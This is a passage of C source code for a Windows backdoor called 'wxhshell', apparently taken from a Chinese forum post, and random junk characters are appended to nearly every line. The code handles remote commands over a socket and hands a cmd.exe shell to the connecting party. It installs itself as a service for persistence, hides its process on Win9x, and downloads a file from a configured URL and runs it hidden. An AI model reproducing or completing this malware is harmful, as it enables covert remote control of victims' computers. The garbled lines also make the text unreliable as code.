  // 帮助 GPv1fearl  
  case '?': { 82qoGSD.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EHIF>@TZ  
    break; wn, KY$/  
  } qzLPw*;  
  // 安装 SC!RbW@3  
  case 'i': {  #ut  
    if(Install()) AW'0,b`v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7~% ?#  
    else *NaB#;+|k`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =tn)}Y.<e  
    break; 0c]/bs{}  
    } N7QK> "a  
  // 卸载 ,vawzq[oSy  
  case 'r': { "'.UU$]d  
    if(Uninstall()) Z'W =\rl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1*:JVG  
    else o]_dJB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q=m'^ ,gPS  
    break; Zw9FJ/Zn@  
    } ]t,BMu=%  
  // 显示 wxhshell 所在路径 ^Za-`8#`L  
  case 'p': { o#gWbAG;]b  
    char svExeFile[MAX_PATH]; |\t-g" ~sN  
    strcpy(svExeFile,"\n\r"); P {jbl!UD7  
      strcat(svExeFile,ExeFile); Tc:)- z[o  
        send(wsh,svExeFile,strlen(svExeFile),0); j#x6  
    break; 4G0m\[Du  
    } V>LwqS~`  
  // 重启 .},'~NM]  
  case 'b': { yNo0ubY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *W1dG#Np}  
    if(Boot(REBOOT)) ~?Pw& K2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2tEkj=fA-  
    else { [Ek7b *  
    closesocket(wsh); M `M5'f  
    ExitThread(0); ZzpUUH/r  
    } LEf^cM=>  
    break;  vF+7V*<  
    } X-Kh(Z  
  // 关机 2(+2+ }  
  case 'd': { q`a'gJx#y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1#2 I  
    if(Boot(SHUTDOWN)) MUc$ j&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ioJ] $o7  
    else { 6l1jMm|= X  
    closesocket(wsh); g2ixx+`?|:  
    ExitThread(0); lU\ [aNs  
    } ]^7@}Ce_  
    break; h"Q8b}$^)  
    } b3[!V{|  
  // 获取shell !hy-L_wL]  
  case 's': { q!7ANib6O  
    CmdShell(wsh); UnV.~u~  
    closesocket(wsh); ,PW'#U:  
    ExitThread(0); <2x^slx)?  
    break; i$#;Kpb`^  
  } 5H9z4-i x?  
  // 退出 gPO}d  
  case 'x': { KYI/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TDjm2R~9FS  
    CloseIt(wsh); "m8^zg hL  
    break; @n /nH?L  
    } ~jk|4`I?T  
  // 离开 $( kF#  
  case 'q': { "|q& ea rc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #q$HQ&k  
    closesocket(wsh); ZJJY8k `  
    WSACleanup(); lgy <?LI\  
    exit(1); s^9Voi.y  
    break; Y\P8 v  
        } I;(L%TT `  
  } 7Q9 w?y~c  
  } [ l??A3G  
9;u@q%;!k  
  // 提示信息 &PHTpkaam  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;xj?z\=Pg  
} k]|~>9eY]  
  } $8h%a 8I  
/Cr%{'Pzk  
  return; ;ef}}K  
} o:'MpKm  
GL}]y -f  
// shell模块句柄 ec;o\erPG  
int CmdShell(SOCKET sock) I$G['` XX/  
{ {dlXLx!B  
STARTUPINFO si; ^uc=f2=>,  
ZeroMemory(&si,sizeof(si)); z&\a:fJ&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iWkWR"ys y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; | YWD8 +  
PROCESS_INFORMATION ProcessInfo; adcE'fA<_  
char cmdline[]="cmd"; [|$h*YK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {S)6;|ua'  
  return 0; O=t_yy  
} Ll't>)  
YkSl^j[DHs  
// 自身启动模式 +Kc  
int StartFromService(void) CK@@HSm}l  
{ WpP}stam/  
typedef struct V f&zL Sgr  
{ FD #8mg  
  DWORD ExitStatus; O0v}43J [  
  DWORD PebBaseAddress; F/{!tx  
  DWORD AffinityMask; b8t7u  
  DWORD BasePriority; qe#tj/aZ  
  ULONG UniqueProcessId; RtS+<^2a;  
  ULONG InheritedFromUniqueProcessId; ? OM!+O  
}   PROCESS_BASIC_INFORMATION; 1CZgb   
]%H`_8<gc  
PROCNTQSIP NtQueryInformationProcess; >tr}|>  
cuI TY^6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _TZRVa_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h438`  
 mq.`X:e  
  HANDLE             hProcess; C< tl/NC  
  PROCESS_BASIC_INFORMATION pbi; dZ@63a>>@  
J/$&NWF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2%m BK  
  if(NULL == hInst ) return 0; 2/^3WY1U  
</z Eg3F\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C,r;VyW6BI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *i%d,w0+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4+8@`f>s  
f$$/H>MJ  
  if (!NtQueryInformationProcess) return 0; "KpGlY?^  
H7n>Vx:L-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XpHrt XD  
  if(!hProcess) return 0; va@Lz&sAE%  
wP@(?z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kTgEd]^&D  
gwMNYMI  
  CloseHandle(hProcess); F$]Pk|,  
 =:pJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;A*]l' [-  
if(hProcess==NULL) return 0; oMa6(3T?E  
I\ob7X'Xu!  
HMODULE hMod; l ymCH  
char procName[255]; NXrlk  
unsigned long cbNeeded; CD~.z7,LC  
>kVz49j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &h/X ku&0  
:"c*s4  
  CloseHandle(hProcess); TvbE2Q;/UL  
DvvK^+-~  
if(strstr(procName,"services")) return 1; // 以服务启动 ZFL~;_r  
)y$(AJx$  
  return 0; // 注册表启动 46h<,na?,  
}  qX{+oy5  
li.;IWb0+)  
// 主模块 " H\k`.j  
int StartWxhshell(LPSTR lpCmdLine) U Cjld  
{ g($2Dk_F2  
  SOCKET wsl; NBGH_6DROw  
BOOL val=TRUE; e\L8oOk#r  
  int port=0; z Iu'[U  
  struct sockaddr_in door; )SGq[B6@I  
x%B/  
  if(wscfg.ws_autoins) Install(); rx|pOz,:  
4V`G,W4^J  
port=atoi(lpCmdLine); 5.GR1kl6  
'H;*W|:-]  
if(port<=0) port=wscfg.ws_port; evmeqQG=  
Avb\{)s+  
  WSADATA data; ' `Hr}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i XjM.G  
?Ir:g=RP*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;4\;mmLVk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &6VnySE?  
  door.sin_family = AF_INET; ]/L0,^RI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <e6#lFQqK  
  door.sin_port = htons(port); OneY_<*a<  
D&y7-/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +N U G  
closesocket(wsl); V'gh 6`v  
return 1; 5{,<j\#L  
} r~['VhI!;E  
sW\!hW1*x  
  if(listen(wsl,2) == INVALID_SOCKET) { S_H+WfIHV'  
closesocket(wsl); RViAwTvY  
return 1; 8}:nGK|kx  
} y6BAH  
  Wxhshell(wsl); V0mn4sfs  
  WSACleanup(); Ny/MJ#Lq  
*vMn$,^0h9  
return 0; )^hbsMhO  
#RLt^$!H  
} J{G?-+`  
C0Z=~Q%  
// 以NT服务方式启动 d<Tc7vg4|U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {' H(g[k  
{ \  Cj7k^  
DWORD   status = 0; f|g g  
  DWORD   specificError = 0xfffffff; aN3;`~{9  
?a]mDx>xh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BiBOr}ZQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rytyw77t(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f|(M.U-  
  serviceStatus.dwWin32ExitCode     = 0; 6Kz,{F@  
  serviceStatus.dwServiceSpecificExitCode = 0; x,' !gT:j  
  serviceStatus.dwCheckPoint       = 0; \~wMfP8  
  serviceStatus.dwWaitHint       = 0; d0> zS  
9lE_nc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >yDZw!C  
  if (hServiceStatusHandle==0) return; />>\IR  
_)-o1`*-  
status = GetLastError(); mX|ojZ  
  if (status!=NO_ERROR) q5S9C%b  
{ dAj$1Ke  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I%Z  
    serviceStatus.dwCheckPoint       = 0; Dvln/SBk  
    serviceStatus.dwWaitHint       = 0; TD_Oo-+\  
    serviceStatus.dwWin32ExitCode     = status; *Pg2c(Vg  
    serviceStatus.dwServiceSpecificExitCode = specificError; =2x^nW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w4Z'K&d=  
    return; 7K:PdF>/  
  } \73ch  
i@J ;G`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  9gZ$   
  serviceStatus.dwCheckPoint       = 0; P!k{u^$L  
  serviceStatus.dwWaitHint       = 0; |ENh)M8}r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xn ;AZu^'R  
} NGWxN8P6  
/ XIhj  
// 处理NT服务事件,比如:启动、停止 +ck}l2&#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .N(p=9  
{ bZV/l4TU  
switch(fdwControl) Y<8vw d  
{ /a o5FL  
case SERVICE_CONTROL_STOP: U/BR*Zn]*  
  serviceStatus.dwWin32ExitCode = 0; :M5l*sIO2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zx7{U8*`<  
  serviceStatus.dwCheckPoint   = 0; zdH kG_PT  
  serviceStatus.dwWaitHint     = 0; 9_s`{(0?  
  { ?bu>r=oIO]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F6dP,(  
  } :U x_qB  
  return; HpnWo DM  
case SERVICE_CONTROL_PAUSE: 8~gLqh8^V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "zy7C*)>r  
  break; #LOwGJ$yVz  
case SERVICE_CONTROL_CONTINUE: 40 0#v|b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v.5+7,4  
  break; )dSi/  
case SERVICE_CONTROL_INTERROGATE: 4X|zmr:A  
  break; SX-iAS[<  
}; ;bhT@aB1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uW3!Yg@  
} WjqO@]P6  
v*yuE5{  
// 标准应用程序主函数 |zE'd!7E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sp`Dvqx0  
{ " 2Dngw  
8Q+36!  
// 获取操作系统版本 ?0xgRe<  
OsIsNt=GetOsVer(); c[Zje7 @  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %u5]>]M+  
;jTN | i'  
  // 从命令行安装 7"xd1l?zz  
  if(strpbrk(lpCmdLine,"iI")) Install(); >yh2Lri  
tklH@'q  
  // 下载执行文件 S 6,.FYH  
if(wscfg.ws_downexe) { B?o7e<l[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xb,3Dvf  
  WinExec(wscfg.ws_filenam,SW_HIDE); BFW&2  
} +d-NL?c  
yR.Ong  
if(!OsIsNt) { 76` .Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 CVR3 A'  
HideProc(); 5rUdv}.  
StartWxhshell(lpCmdLine); gltBC${7wZ  
} uSBa DYg  
else T9q-,w/j;  
  if(StartFromService()) 2VCI 1E  
  // 以服务方式启动 1g~R/*Jo  
  StartServiceCtrlDispatcher(DispatchTable); & "B=/-(  
else Jpo (Wl  
  // 普通方式启动 D7qOZlX16  
  StartWxhshell(lpCmdLine); .XhrCi Z  
:P=(k2  
return 0; FNId ;  
}
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只看该作者 1 发表于: 2006-10-10
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